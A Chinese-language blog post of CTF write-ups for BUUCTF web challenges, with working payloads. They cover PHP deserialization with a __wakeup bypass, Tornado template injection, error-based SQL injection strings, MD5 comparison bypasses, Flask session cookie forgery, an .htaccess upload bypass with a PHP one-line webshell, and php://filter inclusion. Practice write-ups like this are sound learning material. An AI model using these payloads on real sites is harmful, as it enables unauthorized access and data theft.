乐呵呵同学的博客

lehhair's Blog

buuctf刷题

buu刷题

[极客大挑战 2019]PHP

打开后是一只猫,看看前端源码也没啥发现的,直接目录扫描\

使用dirsearch扫描到源码www.zip\

解压后发现有index.php和class.php

  • index.php

    <?php
        include 'class.php';
        $select = $_GET['select'];
        $res=unserialize(@$select);
    ?>
    
  • class.php

    
    <?php
    
    // 包含flag.php文件,该文件中可能定义了flag变量
    include 'flag.php'; 
    
    // 关闭错误报告,防止显示细节
    error_reporting(0);
    
    // 定义Name类
    class Name{
    
    // 用户名属性,private私有访问权限  
    private $username = 'nonono';
    
    // 密码属性,private私有访问权限
    private $password = 'yesyes';
    
    // 构造函数,可以在实例化时传入用户名和密码  
    public function __construct($username,$password){
        
        // 将传入的用户名赋值给用户名属性
        $this->username = $username;
        
        // 将传入的密码赋值给密码属性
        $this->password = $password;
        
    }
    
    // 反序列化后会自动调用的魔术方法
    // 会将用户名重置为'guest'
    function __wakeup(){
    
        $this->username = 'guest';
        
    }
    
    // 析构函数,在对象销毁前会自动调用
    function __destruct(){
        
        // 检查密码是否等于100
        if ($this->password != 100) {
        
        // 如果不等于100,输出提示并结束执行
        echo "</br>NO!!!hacker!!!</br>";
        echo "You name is: ";
        echo $this->username;echo "</br>";
        echo "You password is: ";
        echo $this->password;echo "</br>";
        die();
        
        }
        
        // 检查用户名是否为admin
        if ($this->username === 'admin') {
        
        // 如果是admin,则输出flag变量的值  
        global $flag;
        echo $flag;
        
        }else{
        
        // 其他情况输出不能拿到flag的提示
        echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
        die();
        
        }
    }
    
    }
    
    ?>
    
  • 构造payload
    直接在class.php的结尾增加

    $payload = serialize(new Name('admin',100));
    echo "\n";
    echo $payload;
    

    这时候控制台会输出

    Syc{dog_dog_dog_dog}
    O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
    

    这个时候要注意了 " Name username" 要改成 "%00Name%00username" 同理 " Name password" 要改成 "%00Name%00password" 不然无法正确反序列化

    最终构造的payload为

    O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
    

    这里 "Name":3 原本是 "Name":2 但是因为要增加一个属性,所以要改成3 为什么要增加一个属性呢? 因为在class.php中有这么一段代码

      function __wakeup(){
    
      $this->username = 'guest';
      
    }
    

    这段代码会在反序列化时自动调用,将用户名重置为guest,所以我们要增加一个属性,让这个函数不会被调用
    当成员属性数目大于实际数目时可绕过wakeup方法

补充

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}

对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}
# 变量及对象类型参考
a - array         b - boolean

d - double         i - integer

o - common object     r - reference

s - string         C - custom object

O - class         N - null

R - pointer reference   U - unicode string

[护网杯 2018]easy_tornado 1

打开靶机后看见三个文件

/flag.txt
flag in /fllllllllllllag

/welcome.txt
render

/hints.txt
md5(cookie_secret+md5(filename))

由此可得payload由两部分组成

file?filename=/文件名&filehash=文件哈希值
根据提示要先拿到cookie_secret
先把url中的文件名改一下,让其报错,页面显示Error
此时url变为/error?msg=Error
可见这个Error是受msg参数控制的
将其改为 ?msg={{handler.settings}}
原理是这样的,tornado在渲染模板时,会将模板中的变量替换为handler.settings中的值
而handler.settings中有一个cookie_secret,这就是我们要的值
此时页面显示cookie_secret的值\

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'ed157307-881e-4331-8db6-de33dc2b4f0c'}

拿到cookie_secret后,就可以构造payload了 根据提示 md5(cookie_secret+md5(filename))

import hashlib
cookie='ed157307-881e-4331-8db6-de33dc2b4f0c'
filename='/fllllllllllllag'
md5_filename = hashlib.md5(filename.encode(encoding='UTF-8')).hexdigest()
print(md5_filename)
word=cookie+md5_filename
print(word)
filehash=hashlib.md5(word.encode(encoding='UTF-8')).hexdigest()
print(filehash)

即可得到 filehash 最终构造payload为

?filename=/fllllllllllllag&filehash=dcb9d387aa4e815ae70f88bef47eb93f

[极客大挑战 2019]HardSQL 1

报错注入
?username=1&password=1'or(updatexml(1,concat(0x7e,database()),1))%23 或者
?username=1&password=1'^extractvalue(1,concat(1,(database())))#

这里的^是用来代替or

?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1))),1))%23 

?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))),1))%23 

因为extractvalue和updatexml只显示32位字符。用right(string,num)显示password的右边

[BJDCTF2020]Easy MD5

打开网站后有个输入框,输入字符后什么反应都没有,抓个包看看
发现在响应头的hint里面有这么一个语句\

select * from 'admin' where password=md5($pass,true)

很明显是sql注入

在网上查询之后发现字符串ffifdyop在进行md5加密后形成的十六进制的字符串经过mysql转换成十进制后对应的ASCII码内容为“or ' 6......”。输入这个字符串即可构成永真语句,从而绕过登录。

输入之后页面跳转到了新的,显示 Do You Like MD5? ,查看页面源码\

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

这里有两个变量,a和b,要求a和b不相等,但是md5(a)和md5(b)相等,这里可以使用数组来绕过,因为数组在转换成字符串的时候会变成Array,而md5(Array)是无法计算的,所以可以绕过。

?a[]=1&b[]=2

还可以构造md5碰撞,因为md5碰撞的原理是两个字符串的md5值相等,所以可以构造两个字符串,使得他们的md5值相等,这里使用的是0e开头的字符串,因为php在比较字符串的时候会将字符串转换成数字,如果字符串以0e开头,那么转换成数字的时候会变成0,所以可以构造两个以0e开头的字符串,使得他们的md5值相等。

QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514

接下来又跳转到了一个新的页面,页面显示

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

这里要求param1和param2不相等,但是md5(param1)和md5(param2)相等,这里使用的是 === 所以只能使用数组来绕过,因为数组在转换成字符串的时候会变成Array,而md5(Array)是无法计算的,所以可以绕过。

param1[]=1&param2[]=2

最终得到flag

[HCTF 2018]admin 1

注册账户登录账户审查各个页面的源代码,发现有个GitHub的仓库链接,但是现在已经没有了

但是别人的wp还有记录,在app/config.py中有加密的key

import os
class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

直接登录账户抓包抓session,然后使用 flask-session-cookie-manager-master 解密

python3 3.py decode -s "ckj123" -c ".eJxFkEFrAjEQhf9KmbOH3dheBA8LUasws7jEXZKL2LpuEhNbVkUd8b83SGmPj--9x7y5w3rXt0cLo1N_bgewdlsY3eHlA0agBd40T632xpqGIqluWMqk4zxHlZgKPvFAsshKpXNqptZEiporb_xSoFgJ8nhDubDEOmX2ObHZ0yx5RB3KRg9LNWGSqwvy1qIsrsSTi-aCNXc35O4VVe1KRd40tUdVORNTbjYNpdRDYrySDJaa-RgeA_g89rv16WvfHv4moETWEfN0gkNVZJqDQzl5Q1F7rTpBTRVRLALNVhn65YXSPFyOn3Uubrr2v-n9-1T9ksMmJgCbbXSHHAZwPrb983GQZ_D4AZEmbeA.ZMyFrw.We3mm-KkbwPj24CvpKAFbQv2dPI"

{'_fresh': True, '_id': b'cc2c1ab6aecf58781abb5132a9cc1e4049655aafcfc4cf463e663202a76519576d4cfcee9f791345037a001710c03c8238815b93ceec14bfee8ae86773149a5b', 'csrf_token': b'033bc502b104c9b0193eca865df3be4e424041a1', 'image': b'0zmE', 'name': 'admin1', 'user_id': '10'}

然后更改用户名为admin,再加密回去

python3 3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'cc2c1ab6aecf58781abb5132a9cc1e4049655aafcfc4cf463e663202a76519576d4cfcee9f791345037a001710c03c8238815b93ceec14bfee8ae86773149a5b', 'csrf_token': b'033bc502b104c9b0193eca865df3be4e424041a1', 'image': b'0zmE', 'name': 'admin', 'user_id': '10'}"
.eJxFkEFrAjEQhf9KmbOH3dheBA8LUasws7jEXZKL2LpuEhNbVkUd8b83SGmPj--9x7y5w3rXt0cLo1N_bgewdlsY3eHlA0agBd40T632xpqGIqluWMqk4zxHlZgKPvFAsshKpXNqptZEiporb_xSoFgJ8nhDubDEOmX2ObHZ0yx5RB3KRg9LNWGSqwvy1qIsrsSTi-aCNXc35O4VVe1KRd40tUdVORNTbjYNpdRDYrySDJaa-RgeA_g89rv16WvfHv4moETWEfN0gkNVZJqDQzl5Q1F7rTpBTRVRLALNVhn65YXSPFyOn3Uubrr2v-n9-1T9ksMmJgCbbXQHGMD52PbPv0GeweMHJN5trw.ZMyI0w.mstgDR0AseH0CSSzfjgz7Vfu-JM

然后改包重新发送请求,就可以看到flag了

[MRCTF2020]你传你🐎呢 1

标题就很不文明,页面打开是一具死尸..

很多文件都无法上传过滤的很齐全

  • htaccess小知识
    .htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

新建.htaccess文件,编辑内容为

SetHandler application/x-httpd-php

该语句作用是让Apache将其他类型文件均以php格式解析

上传的时候Content-Type设置为image/jpeg

然后构造一个图片后缀的一句话木马

GIF89a

<?=eval($_REQUEST['cmd']);?>

用蚁剑连接,拿到flag

[MRCTF2020]Ez_bypass 1

打开后看页面源代码

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

简单易懂,构造payload

?id[]=1&gg[]=1

弱比较,在post传入passwd=1234567a即可

[ZJCTF 2019]NiZhuanSiWei 1

打开靶机后

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

这里 file_get_contents 函数是不能读取变量的,要使用 data:// 协议
这个协议的用法是 data://[<mediatype>][;base64],<data>,其中 <mediatype> 是数据的 MIME 类型,<data> 是数据本身。如果省略 <mediatype>,则默认为 text/plain;charset=US-ASCII。如果省略 ;base64,则 <data> 是 URL 编码的。如果指定了 ;base64,则 <data> 必须是 base64 编码的。这里我们使用 text/plain 类型,所以不需要 ;base64

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

读取到源码解密base64

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

构造序列化对象

<?php  

class Flag{  //flag.php  
    public $file="flag.php";
}
echo urlencode(serialize(new Flag));
?>

构造payload

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

最后查看页面源代码